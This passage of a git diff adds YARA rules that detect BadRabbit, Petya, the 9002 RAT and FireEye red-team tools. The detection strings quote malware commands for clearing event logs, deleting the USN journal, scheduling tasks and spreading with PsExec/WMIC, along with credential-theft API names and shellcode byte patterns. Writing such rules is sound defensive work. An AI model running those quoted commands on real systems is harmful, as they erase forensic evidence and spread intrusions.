+        $fref4 = "\\Desktop\\DECRYPT.lnk" nocase ascii wide
+        $fref5 = "dispci.exe" nocase ascii wide
+        $fref6 = "C:\\Windows\\infpub.dat" nocase ascii wide
+        // META
+        $meta1 = "http://diskcryptor.net/" nocase ascii wide
+        $meta2 = "dispci.exe" nocase ascii wide
+        $meta3 = "GrayWorm" ascii wide
+        $meta4 = "viserion" nocase ascii wide
+        //commands
+        $com1 = "ComSpec" ascii wide
+        $com2 = "\\cmd.exe" nocase ascii wide
+        $com3 = "schtasks /Create" nocase ascii wide
+        $com4 = "schtasks /Delete /F /TN %ws" nocase ascii wide
+condition:
+        (uint16(0) == 0x5A4D)
+        and
+        (8 of ($msg*) and 3 of ($fref*) and 2 of ($com*))
+        or
+        (all of ($meta*) and 8 of ($msg*))
+    }
+
+rule FE_Trojan_BADRABBIT_DROPPER
+    {
+        meta:
+            author = "muhammad.umair"
+            md5 = "fbbdc39af1139aebba4da004475e8839"
+            reference = "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html"
+            rev = 1
+        strings:
+            $api1 = "GetSystemDirectoryW" fullword
+            $api2 = "GetModuleFileNameW" fullword
+            $dropped_dll = "infpub.dat" ascii fullword wide
+            $exec_fmt_str = "%ws C:\\Windows\\%ws,#1 %ws" ascii fullword wide
+            $extract_seq = { 68 ?? ?? ?? ?? 8D 95 E4 F9 FF FF 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 C4 00 00 00 8D 85 A8 ED FF FF 50 8D 8D AC ED FF FF E8 ?? ?? ?? ?? 85 C0 0F 84 AA 00 00 00 }
+        condition:
+            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 500KB and all of them
+    }
+
+rule FE_Worm_BADRABBIT
+    {
+        meta:
+            author = "muhammad.umair"
+            md5 = "1d724f95c61f1055f0d02c2154bbccd3"
+            reference = "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html"
+            rev = 1
+        strings:
+            $api1 = "WNetAddConnection2W" fullword
+            $api2 = "CredEnumerateW" fullword
+            $api3 = "DuplicateTokenEx" fullword
+            $api4 = "GetIpNetTable"
+            $del_tasks = "schtasks /Delete /F /TN drogon" ascii fullword wide
+            $dropped_driver = "cscc.dat" ascii fullword wide
+            $exec_fmt_str = "%ws C:\\Windows\\%ws,#1 %ws" ascii fullword wide
+            $iter_encrypt = { 8D 44 24 3C 50 FF 15 ?? ?? ?? ?? 8D 4C 24 3C 8D 51 02 66 8B 31 83 C1 02 66 3B F7 75 F5 2B CA D1 F9 8D 4C 4C 3C 3B C1 74 07 E8 ?? ?? ?? ?? }
+            $share_fmt_str = "\\\\%ws\\admin$\\%ws" ascii fullword wide
+        condition:
+            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 500KB and all of them
+    }
+
+rule FE_Trojan_BADRABBIT_MIMIKATZ
+    {
+        meta:
+            author = "muhammad.umair"
+            md5 = "37945c44a897aa42a66adcab68f560e0"
+            reference = "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html"
+            rev = 1
+        strings:
+            $api1 = "WriteProcessMemory" fullword
+            $api2 = "SetSecurityDescriptorDacl" fullword
+            $api_str1 = "BCryptDecrypt" ascii fullword wide
+            $mimi_str = "CredentialKeys" ascii fullword wide
+            $wait_pipe_seq = { FF 15 ?? ?? ?? ?? 85 C0 74 63 55 BD B8 0B 00 00 57 57 6A 03 8D 44 24 1C 50 57 68 00 00 00 C0 FF 74 24 38 4B FF 15 ?? ?? ?? ?? 8B F0 83 FE FF 75 3B }
+        condition:
+            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 500KB and all of them
+    }
+
+rule FE_Trojan_BADRABBIT_DISKENCRYPTOR
+    {
+        meta:
+            author = "muhammad.umair"
+            md5 = "b14d8faf7f0cbcfad051cefe5f39645f"
+            reference = "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html"
+            rev = 1
+        strings:
+            $api1 = "CryptAcquireContextW" fullword
+            $api2 = "CryptEncrypt" fullword
+            $api3 = "NetWkstaGetInfo" fullword
+            $decrypt_seq = { 89 5D EC 78 10 7F 07 3D 00 00 00 01 76 07 B8 00 00 00 01 EB 07 C7 45 EC 01 00 00 00 53 50 53 6A 04 53 8B F8 56 89 45 FC 89 7D E8 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 5F }
+            $msg1 = "Disk decryption progress..." ascii fullword wide
+            $task_fmt_str = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" ascii fullword wide
+            $tok1 = "\\\\.\\dcrypt" ascii fullword wide
+            $tok2 = "C:\\Windows\\cscc.dat" ascii fullword wide
+        condition:
+            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 150KB and all of them
+    }         
diff --git a/yara-mikesxrs/Fireeye/FE_APT_9002_rat.yar b/yara-mikesxrs/Fireeye/FE_APT_9002_rat.yar
new file mode 100644
index 0000000..76db8e5
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/FE_APT_9002_rat.yar
@@ -0,0 +1,19 @@
+rule FE_APT_9002_rat
+
+{
+
+	meta:
+		author = "FireEye Labs"
+		reference = "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html"
+
+    strings:
+
+        $mz = {4d 5a}
+
+        $a = "rat_UnInstall" wide ascii
+
+    condition:
+
+        ($mz at 0) and $a
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fireeye/FE_petya_ransomware,yar b/yara-mikesxrs/Fireeye/FE_petya_ransomware,yar
new file mode 100644
index 0000000..6c6c7cc
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/FE_petya_ransomware,yar
@@ -0,0 +1,75 @@
+rule FE_CPE_MS17_010_RANSOMWARE {
+meta:version="1.1"
+      //filetype="PE"
+      author="Ian.Ahl@fireeye.com @TekDefense, Nicholas.Carr@mandiant.com @ItsReallyNick"
+      date="2017-06-27"
+      description="Probable PETYA ransomware using ETERNALBLUE, WMIC, PsExec"
+      reference = "https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html"
+strings:
+      // DRIVE USAGE
+      $dmap01 = "\\\\.\\PhysicalDrive" nocase ascii wide
+      $dmap02 = "\\\\.\\PhysicalDrive0" nocase ascii wide
+      $dmap03 = "\\\\.\\C:" nocase ascii wide
+      $dmap04 = "TERMSRV" nocase ascii wide
+      $dmap05 = "\\admin$" nocase ascii wide
+      $dmap06 = "GetLogicalDrives" nocase ascii wide
+      $dmap07 = "GetDriveTypeW" nocase ascii wide
+
+      // RANSOMNOTE
+      $msg01 = "WARNING: DO NOT TURN OFF YOUR PC!" nocase ascii wide
+      $msg02 = "IF YOU ABORT THIS PROCESS" nocase ascii wide
+      $msg03 = "DESTROY ALL OF YOUR DATA!" nocase ascii wide
+      $msg04 = "PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED" nocase ascii wide
+      $msg05 = "your important files are encrypted" ascii wide
+      $msg06 = "Your personal installation key" nocase ascii wide
+      $msg07 = "worth of Bitcoin to following address" nocase ascii wide
+      $msg08 = "CHKDSK is repairing sector" nocase ascii wide
+      $msg09 = "Repairing file system on " nocase ascii wide
+      $msg10 = "Bitcoin wallet ID" nocase ascii wide
+      $msg11 = "wowsmith123456@posteo.net" nocase ascii wide
+      $msg12 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" nocase ascii wide
+      $msg_pcre = /(en|de)crypt(ion|ed\.)/     
+
+      // FUNCTIONALITY, APIS
+      $functions01 = "need dictionary" nocase ascii wide
+      $functions02 = "comspec" nocase ascii wide
+      $functions03 = "OpenProcessToken" nocase ascii wide
+      $functions04 = "CloseHandle" nocase ascii wide
+      $functions05 = "EnterCriticalSection" nocase ascii wide
+      $functions06 = "ExitProcess" nocase ascii wide
+      $functions07 = "GetCurrentProcess" nocase ascii wide
+      $functions08 = "GetProcAddress" nocase ascii wide
+      $functions09 = "LeaveCriticalSection" nocase ascii wide
+      $functions10 = "MultiByteToWideChar" nocase ascii wide
+      $functions11 = "WideCharToMultiByte" nocase ascii wide
+      $functions12 = "WriteFile" nocase ascii wide
+      $functions13 = "CoTaskMemFree" nocase ascii wide
+      $functions14 = "NamedPipe" nocase ascii wide
+      $functions15 = "Sleep" nocase ascii wide // imported, not in strings     
+
+      // COMMANDS
+      //  -- Clearing event logs & USNJrnl
+      $cmd01 = "wevtutil cl Setup" ascii wide nocase
+      $cmd02 = "wevtutil cl System" ascii wide nocase
+      $cmd03 = "wevtutil cl Security" ascii wide nocase
+      $cmd04 = "wevtutil cl Application" ascii wide nocase
+      $cmd05 = "fsutil usn deletejournal" ascii wide nocase
+      // -- Scheduled task
+      $cmd06 = "schtasks " nocase ascii wide
+      $cmd07 = "/Create /SC " nocase ascii wide
+      $cmd08 = " /TN " nocase ascii wide
+      $cmd09 = "at %02d:%02d %ws" nocase ascii wide
+      $cmd10 = "shutdown.exe /r /f" nocase ascii wide
+      // -- Sysinternals/PsExec and WMIC
+      $cmd11 = "-accepteula -s" nocase ascii wide
+      $cmd12 = "wmic"
+      $cmd13 = "/node:" nocase ascii wide
+      $cmd14 = "process call create" nocase ascii wide
+
+condition:
+      // (uint16(0) == 0x5A4D)
+      3 of ($dmap*)
+      and 2 of ($msg*)
+      and 9 of ($functions*)
+      and 7 of ($cmd*)
+}         
diff --git a/yara-mikesxrs/Fireeye/Fireeye_red_team_tool_countermeasures.yar b/yara-mikesxrs/Fireeye/Fireeye_red_team_tool_countermeasures.yar
new file mode 100644
index 0000000..cb545f0
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/Fireeye_red_team_tool_countermeasures.yar
@@ -0,0 +1,2947 @@
+// Copyright 2020 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file. You may obtain a copy of the license at:
+// https://github.com/fireeye/red_team_tool_countermeasures/blob/master/LICENSE.txt
+import "pe"
+
+rule HackTool_MSIL_Rubeus_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
+        md5 = "66e0681a500c726ed52e5ea9423d2654"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
+    condition:
+        uint16(0) == 0x5A4D and $typelibguid
+}
+rule Trojan_Raw_Generic_4
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "f41074be5b423afb02a74bc74222e35d"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) }
+        $s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 }
+    condition:
+        uint16(0) != 0x5A4D and all of them
+}
+rule HackTool_Win32_AndrewSpecial_1
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "e89efa88e3fda86be48c0cc8f2ef7230"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 }
+        $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
+        $shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and $dump and any of ($shellcode*)
+}
+rule APT_Backdoor_Win_GORAT_3
+{
+    meta:
+        description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it."
+        md5 = "995120b35db9d2f36d7d0ae0bfc9c10d"
+        rev = 5
+        author = "FireEye"
+    strings:
+        $dirty1 = "fireeye" ascii nocase wide
+        $dirty2 = "kulinacs" ascii nocase wide
+        $dirty3 = "RedFlare" ascii nocase wide
+        $dirty4 = "gorat" ascii nocase wide
+        $dirty5 = "flare" ascii nocase wide
+        $go1 = "go.buildid" ascii wide
+        $go2 = "Go build ID:" ascii wide
+        $json1 = "json:\"pid\"" ascii wide
+        $json2 = "json:\"key\"" ascii wide
+        $json3 = "json:\"agent_time\"" ascii wide
+        $json4 = "json:\"rid\"" ascii wide
+        $json5 = "json:\"ports\"" ascii wide
+        $json6 = "json:\"agent_platform\"" ascii wide
+        $rat = "rat" ascii wide
+        $str1 = "handleCommand" ascii wide
+        $str2 = "sendBeacon" ascii wide
+        $str3 = "rat.AgentVersion" ascii wide
+        $str4 = "rat.Core" ascii wide
+        $str5 = "rat/log" ascii wide
+        $str6 = "rat/comms" ascii wide
+        $str7 = "rat/modules" ascii wide
+        $str8 = "murica" ascii wide
+        $str9 = "master secret" ascii wide
+        $str10 = "TaskID" ascii wide
+        $str11 = "rat.New" ascii wide
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat > 1000 and any of ($dirty*)
+}
+rule CredTheft_Win_EXCAVATOR_1
+{
+    meta:
+        description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE."
+        md5 = "f7d9961463b5110a3d70ee2e97842ed3"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+        $bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+        $bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
+        $bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 